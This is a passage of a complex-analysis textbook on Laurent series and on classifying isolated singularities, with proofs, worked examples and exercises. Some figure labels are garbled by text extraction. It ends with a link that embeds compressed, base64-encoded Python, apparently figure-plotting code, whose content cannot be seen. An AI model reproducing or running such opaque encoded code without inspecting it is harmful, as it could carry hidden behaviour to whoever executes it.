Exercise 24.8. Prove that if f is analytic at z0 and f (k)(z0) = 0 for all k ≥ 1 but f(z0) ̸= 0, then
f is constant near z0. Is the same true for real C∞ functions? Give the standard counterexample.

Exercise 24.9. (⋆) Let f be analytic on a region D and suppose that for each z ∈ D there is
some k = k(z) ≥ 0 with f (k)(z) = 0. Prove that f is a polynomial. (Baire: one of the closed sets
Ek = {z : f (k)(z) = 0} has nonempty interior; then apply Theorem 24.8.)

Exercise 24.10. Find max|z|≤2
∣∣z2 − z

∣∣ and the points where it is attained.

Exercise 24.11. (⋆) Let f be analytic on D with f(0) = 0 and |f | ≤ 1. Prove |f(z) + f(−z)| ≤
2 |z|2 for |z| < 1. (Apply Schwarz to g(z) = 1

2(f(z) + f(−z))/z suitably normalised.)

Exercise 24.12. Let f be analytic and nonconstant on a bounded region D, continuous on D,
with |f | constant on ∂D. Prove that f has at least one zero in D.

Exercise 24.13. (⋆) (Schwarz–Pick.) Let f : D → D be analytic. Prove that for all a ∈ D,

|f ′(a)|
1 − |f(a)|2

≤ 1
1 − |a|2

.

(Apply Theorem 24.14 to φf(a),0 ◦ f ◦ φ−1
a,0, with φ as in (34.9).) Deduce that every analytic self

map of D is a contraction for the hyperbolic metric 2| dz|
1−|z|2 .



Chapter 25

Laurent Series

Taylor series expand a function analytic on a disc. Many of the functions we care about — 1/z,
e1/z, sin z

z2 — fail to be analytic at the centre. Laurent’s theorem expands such a function on an
annulus, at the cost of admitting negative powers. Those negative powers turn out to carry all
the information the residue calculus needs.

25.1 Laurent’s theorem
Definition 25.1 (Annulus). For z0 ∈ C and 0 ≤ r < R ≤ ∞ let

A(z0; r,R) := { z ∈ C : r < |z − z0| < R }. (25.1)

The cases r = 0 (a punctured disc) and R = ∞ (the exterior of a disc) are allowed and are the
ones that occur most often.

Definition 25.2 (Laurent series). A Laurent series centred at z0 is a doubly infinite expression

∞∑
k=−∞

ak(z − z0)k :=
∞∑
k=1

a−k
(z − z0)k︸ ︷︷ ︸

principal part

+
∞∑
k=0

ak(z − z0)k︸ ︷︷ ︸
analytic part

, (25.2)

and it converges at z precisely when both displayed series converge there.

Theorem 25.3 (Laurent). Let f be analytic on the annulus A = A(z0; r,R) of (25.1). Then

f(z) =
∞∑

k=−∞
ak(z − z0)k, z ∈ A, (25.3)

where
ak = 1

2πi

∮
C

f(ζ)
(ζ − z0)k+1 dζ, k ∈ Z, (25.4)

and C is any circle C(z0, ρ) with r < ρ < R, traversed counterclockwise. The series converges
absolutely on A and uniformly on every closed sub-annulus {r < r1 ≤ |z − z0| ≤ r2 < R}. The
coefficients are uniquely determined by f and the annulus.

178
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Proof. Fix z ∈ A and choose r1, r2 with r < r1 < |z − z0| < r2 < R. Let C1 = C(z0, r1) and
C2 = C(z0, r2), both counterclockwise.

Step 1: a two-circle Cauchy formula. The function ζ 7→ f(ζ)
ζ−z is analytic on A \ {z}. Apply

the many-hole deformation theorem 20.10 to the region between C2 and the two curves C1 and a
small circle Cε around z: ∮

C2

f(ζ)
ζ − z

dζ =
∮
C1

f(ζ)
ζ − z

dζ +
∮
Cε

f(ζ)
ζ − z

dζ,

and the last integral equals 2πif(z) by the computation in the proof of Theorem 21.1. Hence

f(z) = 1
2πi

∮
C2

f(ζ)
ζ − z

dζ − 1
2πi

∮
C1

f(ζ)
ζ − z

dζ. (25.5)

Step 2: expand the outer kernel. For ζ ∈ C2 we have |z − z0| < r2 = |ζ − z0|, so (24.3) applies
and converges uniformly on C2; multiplying by f(ζ) and integrating term by term,

1
2πi

∮
C2

f(ζ)
ζ − z

dζ =
∞∑
k=0

( 1
2πi

∮
C2

f(ζ)
(ζ − z0)k+1 dζ

)
(z − z0)k. (25.6)

Step 3: expand the inner kernel the other way. For ζ ∈ C1 we have |ζ − z0| = r1 < |z − z0|,
so now we factor out z − z0 instead:

−1
ζ − z

= 1
z − ζ

= 1
(z − z0) − (ζ − z0) = 1

z − z0
· 1

1 − ζ−z0
z−z0

=
∞∑
j=0

(ζ − z0)j

(z − z0)j+1 ,

using (23.2) with ratio of modulus r1/ |z − z0| < 1; the convergence is uniform in ζ ∈ C1. Multi-
plying by f(ζ) and integrating,

− 1
2πi

∮
C1

f(ζ)
ζ − z

dζ =
∞∑
j=0

( 1
2πi

∮
C1
f(ζ)(ζ − z0)j dζ

) 1
(z − z0)j+1 . (25.7)

Setting k = −(j + 1), i.e. j = −k − 1, the bracket becomes 1
2πi
∮
C1

f(ζ)
(ζ−z0)k+1 dζ, which is (25.4)

computed on C1.
Step 4: one contour suffices. For each fixed k, the integrand f(ζ)

(ζ−z0)k+1 is analytic on all of
A, so by the deformation theorem 20.10 its integral is the same over every circle C(z0, ρ) with
r < ρ < R. Hence the coefficients in (25.6) and (25.7) are both given by (25.4) with a common
C. Adding the two expansions and using (25.5) yields (25.3).

Absolute and uniform convergence. This part holds for any Laurent series
∑
k ck(z− z0)k that

converges at every point of A. The analytic part
∑
k≥0 ck(z− z0)k is a power series converging at

every z with r < |z − z0| < R, so by Theorem 23.10(i) its radius of convergence is at least each
such |z − z0|, hence at least R; by Theorem 23.10(i),(ii) it converges absolutely on |z − z0| < R and
uniformly on |z − z0| ≤ r2 for every r2 < R. The principal part is the power series

∑
k≥1 c−kw

k in
w := 1/(z− z0), which converges for every w with 1/R < |w| < 1/r (read 1/0 = ∞, 1/∞ = 0); so
its radius is at least 1/r, and it converges absolutely for |w| < 1/r and uniformly on |w| ≤ 1/r1,
i.e. on |z − z0| ≥ r1, for every r1 > r. Adding, the series converges absolutely on A and uniformly
on every closed sub-annulus r1 ≤ |z − z0| ≤ r2.

Uniqueness. Suppose f(z) =
∑
k bk(z − z0)k at every point of A. By the previous paragraph,

applied to the bk, the convergence is uniform on every circle C(z0, ρ), r < ρ < R. Fix n ∈ Z,
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multiply by (z − z0)−n−1 and integrate over C = C(z0, ρ); uniform convergence permits term-by-
term integration, and by (19.16)∮

C
(z − z0)k−n−1 dz =

{
2πi, k = n,

0, k ̸= n,

so
∮
C f(z)(z − z0)−n−1 dz = 2πi bn, i.e. bn = an.

1 2z0

z C2

C1

C"

The two-circle Cauchy formula (25.5)
f(z) = 1

2¼i

I
C2

f(³)
³¡ z d³¡ 1

2¼i

I
C1

f(³)
³¡ z d³

1
2¼i

I
C2

f(³)
³¡ z d³=  ¡0:2947¡ 0:1240 i

1
2¼i

I
C1

f(³)
³¡ z d³=  ¡0:3754¡ 0:2418 i

1
2¼i

I
C"

f(³)
³¡ z d³=  0:0807 + 0:1178 i

(each counterclockwise)

C" gives f(z) =  0:0807 + 0:1178 i

(Cauchy's integral formula, Theorem 21.1)

1
2¼i

I
C2

¡ 1
2¼i

I
C1

=  0:0807 + 0:1178 i

= f(z), for z between the two circles

Figure 25.1 (animated). Step 1 of the proof of Theorem 25.3, the two-circle Cauchy formula (25.5), for
f(z) = 1

(z−1)(z−2) of Example 25.6 on the annulus 1 < |z| < 2, with C1 = C(0, 1.1), C2 = C(0, 1.9) and
the point z = 1.5e2.2i. The integrand f(ζ)

ζ−z
is analytic on the annulus except at ζ = z, so a small circle

Cε about z is cut out too. Three cuts divide what is left into two pieces; the integral round each is 0
(right: computed as the points run), and when the pieces are put back the cuts cancel. What remains
is C2 counterclockwise and C1, Cε clockwise, which is the many-hole deformation theorem 20.10. The
small circle gives f(z), as in the proof of Theorem 21.1, and so f(z) = 1

2πi

∮
C2

f(ζ)
ζ−z

dζ− 1
2πi

∮
C1

f(ζ)
ζ−z

dζ

(computed values on the right).

Remark 25.4 (The coefficient that matters). Taking k = −1 in (25.4) gives

a−1 = 1
2πi

∮
C
f(ζ) dζ, equivalently

∮
C
f(z) dz = 2πi a−1. (25.8)

So one Laurent coefficient computes the integral. When r = 0 (a punctured disc) that coefficient
is the residue of Chapter 27 (Definition 27.1), and the whole of residue calculus is the business of
extracting a−1 without computing the integral.
Warning 25.5 (The expansion depends on the annulus). A function analytic on several disjoint
annuli about the same centre has a different Laurent series on each. There is no such thing as
“the Laurent series of f at z0” without naming the region; see Example 25.6.

25.2 Computing Laurent series
In practice one never uses (25.4). One manipulates known series — almost always the geometric
series (23.2) and the exponential series (24.4) — and appeals to uniqueness.
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1 2

|z| < 1
1 < |z| < 2

|z| > 2

Re

Im

Figure 25.2. Warning 25.5, drawn for f(z) = 1
(z−1)(z−2) of Example 25.6. The two singularities cut

the plane into three annuli centred at 0, and f has a different Laurent expansion on each. There is
no such thing as “the Laurent series at 0” until the region is named.

Example 25.6 (Three annuli, three series). Let f(z) = 1
(z − 1)(z − 2) = 1

z − 2 − 1
z − 1. It is

analytic on three regions centred at 0: |z| < 1, 1 < |z| < 2, |z| > 2.
On |z| < 1: expand both terms in powers of z, as in Example 24.6:

f(z) =
∞∑
k=0

(
1 − 1

2k+1

)
zk (a Taylor series; no negative powers).

On 1 < |z| < 2: now |1/z| < 1 and |z/2| < 1, so

− 1
z − 1 = −1

z
· 1

1 − 1/z = −
∞∑
k=1

1
zk
,

1
z − 2 = −1

2 · 1
1 − z/2 = −

∞∑
k=0

zk

2k+1 ,

so
f(z) = −

∞∑
k=1

1
zk

−
∞∑
k=0

zk

2k+1 .

On |z| > 2: both |1/z| < 1 and |2/z| < 1, so

1
z − 2 = 1

z
· 1

1 − 2/z =
∞∑
k=0

2k

zk+1 , − 1
z − 1 = −

∞∑
k=0

1
zk+1 ,

giving f(z) =
∑∞
k=0

2k−1
zk+1 — only negative powers, as it must be, since f(z) → 0 as z → ∞.

Note the coefficient a−1 of 1/z: it is 0 on the first region (there is no 1/z term), −1 on the
second, and 20 − 1 = 0 on the third. The value depends on the annulus, and only the first is a
residue: the residue at 0 — Definition 27.1 — refers to the expansion on a punctured disc, here
0 < |z| < 1, where f is in fact analytic at 0 and Res(f, 0) = 0. On the other two annuli a−1 is
still 1

2πi
∮
C f by (25.8), for a circle C in that annulus.

Example 25.7 (An essential singularity). Let f(z) = e1/z, analytic on 0 < |z| < ∞. Substituting
1/z for z in (24.4),

e1/z =
∞∑
k=0

1
k! zk = 1 + 1

z
+ 1

2!z2 + 1
3!z3 + · · · , z ̸= 0. (25.9)
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The principal part has infinitely many terms. Its residue is a−1 = 1, so
∮

|z|=1 e
1/z dz = 2πi by

(25.8) — an integral one would not care to attempt directly.

Example 25.8 (Products and quotients). Expand f(z) = sin z
z4 about 0. By (24.5),

sin z
z4 = 1

z4

(
z − z3

3! + z5

5! − · · ·
)

= 1
z3 − 1

3! z + z

5! − · · · , 0 < |z| < ∞.

So a−1 = −1
6 and

∮
|z|=1

sin z
z4 dz = −πi

3 . Compare Example 21.6: the integral formula for derivatives
would give the same answer, since −1/3! is the coefficient of z−1, i.e. (sin)′′′(0)

3! .

Expand g(z) = ez

z2(z − 1) on 0 < |z| < 1. Write 1
z−1 = −

∑
k≥0 z

k and ez = 1 + z + z2

2 + · · · ;
then

ez · −1
1 − z

· 1
z2 = − 1

z2
(
1 + z + z2

2 + · · ·
)(

1 + z + z2 + · · ·
)

= − 1
z2
(
1 + 2z + 5

2z
2 + · · ·

)
,

so g(z) = −z−2 − 2z−1 − 5
2 − · · · and a−1 = −2.

25.3 Exercises
Exercise 25.1. Expand in a Laurent series on the indicated region:

1
z(z − 3) on 0 < |z| < 3 and on |z| > 3; z

(z + 1)(z − 2) on 1 < |z| < 2.

Exercise 25.2. Find the Laurent expansion about 0 and give a−1:

z3e1/z,
cos z − 1

z5 ,
1

z2 sin z ,
ez − 1
z3 .

Exercise 25.3. Expand 1
z2 in powers of z − 1, valid on |z − 1| < 1. (Differentiate the expansion

of −1/z.)

Exercise 25.4. (⋆) Let f be analytic on 0 < |z − z0| < R and bounded there. Prove that
ak = 0 for all k < 0. (Estimate (25.4) on C(z0, ρ) with the ML-inequality and let ρ ↓ 0.) This is
Riemann’s removable singularity theorem, restated in Theorem 26.4.

Exercise 25.5. Use (25.8) to evaluate
∮

|z|=2 z
2e1/z dz and

∮
|z|=1

cosh z
z3 dz.

Exercise 25.6. Show that if f is analytic on |z − z0| < R then its Laurent series on 0 < |z − z0| <
R coincides with its Taylor series, i.e. all negative coefficients vanish. (Use uniqueness.)

Exercise 25.7. Find all three Laurent expansions of f(z) = 1
z(z − 1)(z − 2) about 0, naming the

annulus for each, and give Res(f, 0).

Exercise 25.8. Expand 1
z2 + 1 in a Laurent series valid for |z| > 1, and use it to compute∮

|z|=2
dz

z2 + 1 from (25.8) alone. Check against Theorem 27.5.

Exercise 25.9. (⋆) (Cauchy estimates for Laurent coefficients.) Let f be analytic on A(z0; r,R)
with |f | ≤ M(ρ) on |z − z0| = ρ. Prove |ak| ≤ M(ρ)ρ−k for every k ∈ Z and every ρ ∈ (r,R).
Deduce Exercise 25.4 and, taking R = ∞, that an entire function bounded by A |z|m at infinity
is a polynomial of degree ≤ m.



Chapter 26

Zeros and Poles

26.1 Isolated singularities and their classification
Definition 26.1 (Isolated singularity). A point z0 ∈ C is an isolated singularity of f if there is
R > 0 such that f is analytic on the punctured disc D′(z0, R) = A(z0; 0, R) but not analytic at
z0 itself (either f is undefined there, or defined but not differentiable).

By Theorem 25.3, such an f has a Laurent expansion

f(z) =
∞∑

k=−∞
ak(z − z0)k, 0 < |z − z0| < R, (26.1)

and the shape of the principal part
∑
k≥1 a−k(z − z0)−k gives the classification.

Definition 26.2 (The three types). Let z0 be an isolated singularity of f with Laurent expansion
(26.1). Then z0 is

• removable if ak = 0 for all k < 0 (no principal part);

• a pole of order m (m ≥ 1) if a−m ̸= 0 and ak = 0 for all k < −m (finite principal part,
longest term (z − z0)−m); a pole of order 1 is called simple;

• an essential singularity if ak ̸= 0 for infinitely many k < 0.

Example 26.3. sin z
z

= 1− z2

3! +· · · has a removable singularity at 0. sin z
z4 has, by Example 25.8,

principal part z−3 − 1
6z

−1: a pole of order 3. And e1/z has an essential singularity at 0 by (25.9).

removable pole of order m essential

Figure 26.1. The trichotomy of Definition 26.2, read off from the behaviour of |f | near the singularity.
Removable: |f | stays bounded and the graph fills in. Pole: |f | → ∞, and the rate (|z − z0|−m) is the
order. Essential: |f | does neither — by Casorati–Weierstrass 26.8 f comes arbitrarily close to every
complex value in every punctured neighbourhood, so |f | has no limit in [0,∞].

183
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26.2 Removable singularities
Theorem 26.4 (Riemann’s removable singularity theorem). Let z0 be an isolated singularity of
f . The following are equivalent:

(i) z0 is removable;

(ii) limz→z0 f(z) exists in C;

(iii) f is bounded on some punctured disc D′(z0, ε);

(iv) limz→z0(z − z0)f(z) = 0.

In that case, defining f(z0) := a0 = limz→z0 f(z) makes f analytic on the full disc D(z0, R).

Proof. (i)⇒(ii): with no principal part, (26.1) is a power series, convergent on D(z0, R) and hence
continuous there by Theorem 23.11; its value at z0 is a0, and the extended function is analytic.
(ii)⇒(iii) is immediate, and (iii)⇒(iv) because |(z − z0)f(z)| ≤ M |z − z0| → 0.

(iv)⇒(i): let η > 0 and choose δ > 0 with |(z − z0)f(z)| < η for 0 < |z − z0| < δ, i.e.
|f(z)| < η/ |z − z0| there. For k ≤ −1 and 0 < ρ < δ, estimate (25.4) on C = C(z0, ρ) with the
ML-inequality (19.15):

|ak| ≤ 1
2π · η/ρ

ρk+1 · 2πρ = η ρ−k−1.

Since k ≤ −1 we have −k − 1 ≥ 0, so letting ρ ↓ 0 gives |ak| ≤ η · 0 = 0 when k ≤ −2, and
|a−1| ≤ η for every η > 0, hence a−1 = 0 as well.

26.3 Poles
Theorem 26.5 (Characterisations of a pole). Let z0 be an isolated singularity of f and m ≥ 1
an integer. The following are equivalent:

(i) z0 is a pole of order m;

(ii) there is g analytic on a neighbourhood of z0 with g(z0) ̸= 0 and

f(z) = g(z)
(z − z0)m for z ̸= z0 near z0; (26.2)

(iii) limz→z0(z − z0)mf(z) exists, is finite, and is nonzero;

(iv) 1/f has a removable singularity at z0 and, once removed, a zero of order exactly m there.

In all cases limz→z0 |f(z)| = ∞.

Proof. (i)⇒(ii): from (26.1) with ak = 0 for k < −m,

f(z) = (z − z0)−m
∞∑
j=0

aj−m(z − z0)j

︸ ︷︷ ︸
=:g(z)

,

and g is a convergent power series with g(z0) = a−m ̸= 0.
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(ii)⇒(iii): (z − z0)mf(z) = g(z) → g(z0) ̸= 0.
(iii)⇒(i): let L ̸= 0 be the limit. Then h(z) := (z−z0)mf(z) has a removable singularity at z0

by Theorem 26.4, with h(z0) = L ̸= 0; expanding h in a Taylor series and dividing by (z − z0)m
produces a Laurent series for f whose most negative term is L(z − z0)−m.

(ii)⇔(iv): from (26.2), 1/f(z) = (z− z0)m/g(z) near z0, and 1/g is analytic and nonzero near
z0; this is exactly the factorisation (24.8) of a zero of order m. Conversely if 1/f has a zero of
order m, write 1/f = (z − z0)mh with h(z0) ̸= 0 and invert.

Finally, from (26.2), |f(z)| = |g(z)| / |z − z0|m → ∞ since the numerator tends to |g(z0)| >
0.

Corollary 26.6 (Poles of a quotient). Let p, q be analytic near z0 with p ̸≡ 0 and q ̸≡ 0, and set
f = p/q. Let µ := ordz0 p and ν := ordz0 q (with ord = 0 meaning the function is nonzero at z0).
Then f has at z0

• a removable singularity, if µ ≥ ν (or no singularity at all, if ν = 0: then f is analytic at z0);

• a pole of order ν − µ, if µ < ν.

Proof. Write p = (z − z0)µP and q = (z − z0)νQ with P,Q analytic and nonzero at z0 (Theo-
rem 24.7). Then f = (z − z0)µ−ν P

Q with P/Q analytic and nonzero at z0, and Theorem 26.5(ii)
applies when µ− ν < 0; when µ ≥ ν the function extends analytically.

Example 26.7. (a) f(z) = z + 1
(z − 2)3(z2 + 1) has a pole of order 3 at 2 and simple poles at ±i.

(b) f(z) = 1
sin z has simple poles exactly at z = kπ, k ∈ Z, by Corollary 17.6 and Theo-

rem 26.5(iv), since each zero of sin is simple (cos kπ = ±1 ̸= 0).

(c) f(z) = 1 − cos z
z4 : here 1−cos z = z2

2 − z4

24 + · · · has a zero of order 2 at 0, so by Corollary 26.6
f has a pole of order 4 − 2 = 2.

(d) f(z) = z

ez − 1: the denominator has a simple zero at 0 (its derivative ez is 1 there) and
the numerator a simple zero, so the singularity at 0 is removable. The other singularities
z = 2kπi, k ̸= 0, are simple poles.

(e) f(z) = z e1/z has an essential singularity at 0: multiplying (25.9) by z still leaves infinitely
many negative powers.

26.4 Essential singularities
Theorem 26.8 (Casorati–Weierstrass). Let z0 be an essential singularity of f , analytic on
D′(z0, R). Then for every ε ∈ (0, R) the image f

(
D′(z0, ε)

)
is dense in C: for every w0 ∈ C

and every η > 0 there is z with 0 < |z − z0| < ε and |f(z) − w0| < η.

Proof. Suppose not: there are w0 ∈ C, η > 0, ε > 0 with

|f(z) − w0| ≥ η for 0 < |z − z0| < ε. (26.3)

Define h(z) := 1
f(z) − w0

on D′(z0, ε). By (26.3) h is analytic there and |h| ≤ 1/η, so by
Theorem 26.4 h extends analytically to z0.
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If h(z0) ̸= 0 then f = w0 + 1/h is analytic at z0 after removing the singularity, so z0 is
removable — not essential. If h(z0) = 0, say with a zero of order m ≥ 1, then Theorem 26.5(iv)
says f −w0, hence f , has a pole of order m at z0 — again not essential. Either way we contradict
the hypothesis.

Remark 26.9 (Picard). Picard’s great theorem sharpens Casorati–Weierstrass enormously: near
an essential singularity f takes every complex value, with at most one exception, infinitely often.
For e1/z at 0 the exceptional value is 0, consistent with (16.3). We do not prove this.

µ= 0

µ= ¼
2

µ= ¼

µ= 5¼
4 µ= 7¼

4

z-plane near the singularity z0 = 0

jwj= 0:5

jwj= 1

jwj= 2

jwj= 5

1

w= f(z), drawn at w=(1 + jwj): the rim is 1

Essential: f(z) = e 1=z, and jf(te iµ)j= e cos µ=t

!1 if cos µ > 0, ! 0 if cos µ < 0, round jwj= 1 if cos µ= 0

t=

jf(te iµ)j:

0.040

different rays, different behaviour: jfj has no limit in [0;1]

7.2e+10 1 1.39e-11 2.1e-8 4.76e+7

Figure 26.2 (animated). The three kinds of isolated singularity (Definition 26.2) seen along five
rays into 0; the images are drawn at w/(1 + |w|), so the rim is ∞. For sin z

z
all images tend to 1

(removable); for sin z
z4 all run out to ∞ at the rate t−3, each arriving at its own angle (pole of order

3); for e1/z the rays behave differently: |f | = ecos θ/t goes to ∞, stays 1, goes to 0 (essential). Then
Casorati–Weierstrass (Theorem 26.8): in every punctured disc D′(0, ε) lie infinitely many solutions
of e1/z = w0, and they stay there as w0 moves; this is the stronger fact of Remark 26.9.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=g13_rays&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWvuS2kaX%2F19P0Z%2BCN5IHNJKAuTCDqxInqXjtzedKpuJKYDwloAEZIcmSgAEP3%2F%2F7Hrsvtk%2Byv9PdugETp7bWqQxS9%2Blz69Pn1tImfMriwNsaU3%2FWZNPEW3L1kzaZH2Y8WXtBk41G0WP%2FlyjkZk9j%2BOcv4yjJmB9hykv5RafJll4WB1EW%2BCMr3tIT81KgzgT8NImW7M37bTaPQmvip0QyR%2FLz3X%2B8azI1KKCxyhoHUcqJK1MMqWmDgA1d12%2F95Yz5k74eTx%2FwqLM02wa8r49XSRolvTgSvOss8zMxHPjjBcsiFnurlOuvtNt0nPhx9kpbewmLp6zPNn44iTaWeP4y7bHBfZMtesxusmQV9liWrPgeKgHZPptE49WSh5k149mPAafH77dvJkbOjXmj4ceKQkm3z6arcJz5UcgMk30BPQs4MfwP%2BXTD9jdayrM3St9GDRzy%2B1NmKFj29ETrF%2BxVn36nVsDDWTY3WcKzVRLeEDRIp8mYSYABQd%2FfyEV9ZojfM%2BaY7MUL9mJyo0GqFxNwfHuudAL1shfMOLQC05RbMeV8Qjqo74hZbOEDtuUO2lLQUcIWwMESL5xxhVRZkbQMDBgLsxgYrWgH%2FMj6fpvx9M0%2FjXIK1mCl3prj1wBYk5DD7GAE4UyXRvrgh%2BM5T%2Fv0XC7EPHBKS7VGFx0ejqMJJxy0g5BtxQ3TtCZcDFcIQlRrFU%2B8jEs5v83tRqg%2BXqVzQ8es1%2FOX3oyfg86NOg8vUt0sNPot9Ik5KPAb1sI%2FxsMJi6bs31cxhEze%2BRkXp5AnYlrDDtzNE87ZAkaZEmTqh7NV4CV%2BtmXGD9BA6AsDcS8st8l%2BfPSWccDprY2NSDkPmRdEkHrqrzlUv01pGyNmW9pdFPeYOB8pyxj%2F%2BMVn2Zxn3p6lgT%2FhtFVyKUbFyibAxPl1LJcJHHbHYuz7KMuiZY%2FA%2FIQJ%2BVM2NWooTQ3YCM84WsYJT1NYDuQMOduw1iu2OTecs6fNk8kMQcxfMp8YFdJtTRCB2Gx3vusxvubJlthhWE4qCZnDjLs5jxK%2BJLk7pqUp6I%2BdKjzODMBXGbGeo2aBv%2BAs%2B9hqk3kLDid%2BwuWZa7Ul9zX0XeIGkjnnu30P1LlGuCsomzQo1COfkmiFPYZwMDynx8IINJd%2BBizAGrLXHtyUl%2FmtD9znSZolXprWCF6ZQrUsjYIVsZVquwc6v8658S6asY2NM%2Byy2Gc%2BW5hkIYo58mQ2GyfRZiK3XGoiJo%2BySqB%2FnNIx%2B%2BFbA3zyODXFIVJAWPiPPtnI%2B%2B1P%2FgybFq7h2UBcsSKMmU3I%2BmivAYK9KE5wk4BCNvaCIJUxxbIs7AqMWVOuPlwt4y3FhTDOh8qwoVUiCJy0oX83gyc9hjsILxpFi2T83gMbaX5Yv%2BiAn2f8MbOmESydZ3qP6eMlvIROA9bUW%2FrBlgZTnvjTYjz1dxyjjgvb5TjJUGfgLUcTj60RC6wua4m%2FLyGBNY5SAz%2FYg5ds6YfG0ns01k06H9CFg7%2BmdvczEOQw%2BPUSmI0xsAmqCyCCc%2BnBuuzemzfs7ud3WDDQbTCU6EOodvxlGPv7L%2B5ejsR%2BZaYrpjr7ytBlPnSvvf6nxJV5o94IHo5kpOcZHEuYv8SrBI4jfxvBbIqpKIDvAJ47KcKMR8s09sbccMjlkBdosq5tg%2Bs%2FAXE3oPSgyXr3UlL%2BGBvOJzzf%2FWwOek1Gs%2FfaT79QdNVh41CyUixON%2BBxdo2dyc7ZDuTjKODPA7CXLxlo6%2FAnh0CCKsGYe%2B0DkUIEnxp%2FmjIMwdbpuP%2F0iwWHu0wNAI3jcoc3PbilcwYEZ2KvRqmxMU12%2FO%2BbI38mDwg5sCdLnPiqI9NwtjlZv8T5YSDkvyettJx7WJRjWmQ7Jrtlbd7qHMDfDQgKMreVDUkcQkc5EvOrWMqFpDaxQOlLWXJ1n6CFcj%2FNHO85O0RSEHR4y3G1t2%2BlqXgy1reuYOdXDg6SHA78UBqQLSz%2Fwi4J3rBff3ytDC15GMAFn7ELiAsG6NH9JEUXx0iMteR0ba7JWkfA2ExEW%2FPeSpA3BAjtJ7WiNEE8mBXN0LuVcEp9qpJe51ZAMI9n%2FtYE4%2Fzjo4h8W4QHiiTQAAIygpwXhqtglWqaRrn2xjYyb6XyH5myVfYhiGYG8eNSgvYJrBz5GVosJkk24p7I5PAiJJSyE6yp6CKMkDXX6NJByaluzEPNvX1La5W6xFmwDZuUU3Kn9l1EgbomCbUgWcBW1tV0qWm%2Fvf75xx%2FIU91rdErjeZOFTTank2oY4qg0WQfn3enArRrS7msjZIsYuMLAlalElEjPgNUghLZJbukCDMh3cu2GL%2BQHZ22ktsJD%2BGWiGmJFDu2I1XOtglQfbxy9gqfdPkbRvlA4FLBE47j5mFtF0HGOEXQ6JQK3RHChaRR7%2B6JOwhPCOhVKFLr6xqVFikF0wdaL4oeqD%2BTNFAsNEXRs65q8J%2FDNPVRGXBRKTbauvoigSficNjBp6Wp0Co3d%2Fft4HFozjoIo6eu21UZg9x53Cqk3mTx4jzxFYLQcERrbgsAV%2FWm3RWT0HjfPQdtuCXwBYGD2T8BeXgqkriN%2BnGv5076U2H0LScLDI5I0iHdJEbldGd%2FSeAv4BZHKhJfGOOywwc8rLxBCKUQZCj9B9ioP81U6WzUNlMS84Cufp6mHWKQzRuCNeCAUeFXiFttq6LuI0u%2FGpsFCjiK24TRqCgfS2Jv0XYWVUiZj4KCoHdj4o78E8DLtO26xK0gOMbaLkglP%2BtemOIzeoziG2Kom7YA6XN7jKdmJjgVSqaFH06nc4FKpLUcYJvJ0gttVtFqb2NRWOCI1crqVqe3hVEFGqaWxa7RkjSHUIhLXSvHU2D3YfbtxbJtSWVpOR2JL9MamP0Xe0UB5m3gb1EYZVJ7XLY0y7iPeN4aI%2BNn2edwrGeDIQdZc7XFsdMkdCMnkvkHgthAYh4F2EAZzXzlOV1egGWz6eFLqlcsU3MHyk8vEdieoHaXfJQcOYwdQl0p7eeR1Rzy7as4Vb128XeBNwjkiFRV60M3CXDaSnwSyrkRABZR4prKxwlC3q1OvI2F9SqFg%2BZw4uOpKNmEjh7OC85yG8E1JGTMd67prSkoqf1QjegOb13%2BRNqjPkUqctzlKbPmJfbyucNkBP1otIXzeAYrG2cTHMZmO%2B%2FpmjsSTvD6eQ%2BQ9ujQN6a0LNWG7sFd%2FZ583R%2FssF57e4V%2B%2F%2B%2BM3irM1%2B6CivtCYZyqqxShpTYxKlOMcG9xBEENsYh0ORUQuD1BkPTs%2FRjbZZChAzHtJ9UyRFVsE5BdVmoLcRZVeU%2ByCqMKLbaqwUDlddXVrR6k67UzAp5mwq4Iie0VuXBlY4s%2Fmh%2FO3rFUCKOxmLmR6ICeKtlzYH9789loF5td%2BMoYHoQMt6sFiV76ZXkzwX%2BlrbXVmKVjFXjaeG4Smevztwm1H0m0jQC2rBrUki1rU3LfYa5zbzvUlhZfOhYhdHReG8N0vv0g72CB9CAJDJt0I6N125YRShXfZKQYGvR4KDfBwCC3PcAWaBgro0hSVJZK5FBtFIgoWShGrzkCuKKQSpnavrX1OucBAlpTvoNl3bj09aSOi%2FPGb1JjKT%2BQu18yFeh9Ha5yvrNF%2Bdw5oXdRoVWFR1bSP8ibAuvdfy5sKJbhdItklcWs0kRYieXGpE%2BHX%2BD6BZqwSS2W2PFwteUJdEmmzVObL9Fu7u6uU5wh%2Bv%2FJltPZGAerbBkXBvupIiEbb%2Fstu33dacmj30d1%2FudifDceTKEsbIkzmkfbgVCa67C%2BWLTrgzqh2Gqqu4TCLnIbossmmWZMgbLPXdxqoXcASh9PODtp%2FJ%2Bg0ng4Qt5ynRo%2F6GyfaiSJR8JZc9kZFOmXmKPOGBFTyHk%2FUbhMWydrPKOZjZ9%2FfffzSau%2BVfhzSDo04hY6O3VWin25b5gFJti0bmUCMjMRLEn%2BN3Oa4h9kYesmMbfqtthT9JDEgag%2BbhzqSGhL%2BN3L6T94DEXtqkIoK7lTaAxsquKEEiAalXuqt04oiZc8GevwRhWWY%2BV6Qa1D1L0kslJNHW%2FdEAEO4Zzlwnu1PWRYxnSsLDr1RLnhlAzNN24cztzQj27UiL3AOAU4bceM5xU386ZQnEE51z8v3EZ97az9aJT2SDzqdUytUdYZpExuIvZL9%2B6r1UfkolJZ3jRutxvN9Y3HYG7k6eyydJ364YA3R8x2uvYTHqY8TaJ6SCkXAQd%2BZzvGi75wbQ2qpJssv76LZftjcPNhn7pD6zwuzQQcip9jHTN898xs3hGfLYh8HZhULjyDybl38X5XOVSYhzKuB9cOQf7alSXkLHgqvJSePhWjmfTYebMFHRr3N480C0gYTnuMGriOtiCdvPaRL8thYRG1YMTaF%2BvlzGMZsTpwzg5DAFqiZT50xOEcvWZDOr81SrL1quEyXmfGI9G5e77noL6zOlPKZRzKyeE4Nd3EoZK5hYL49E%2FMmoi7qGJQEOj%2BzhdM606uDLTnY0vMeT96IlwSRGgTkP9e8vGyjNyuOYoPwkDbUXRc1OagRKhocA7otzDLq6d4N4jm9UC0kqyKKP1mGaIfglq5GtUHnXmIj99Un2USvtbgF9OidssGSH0%2BsX%2FupP6Jiy9tKB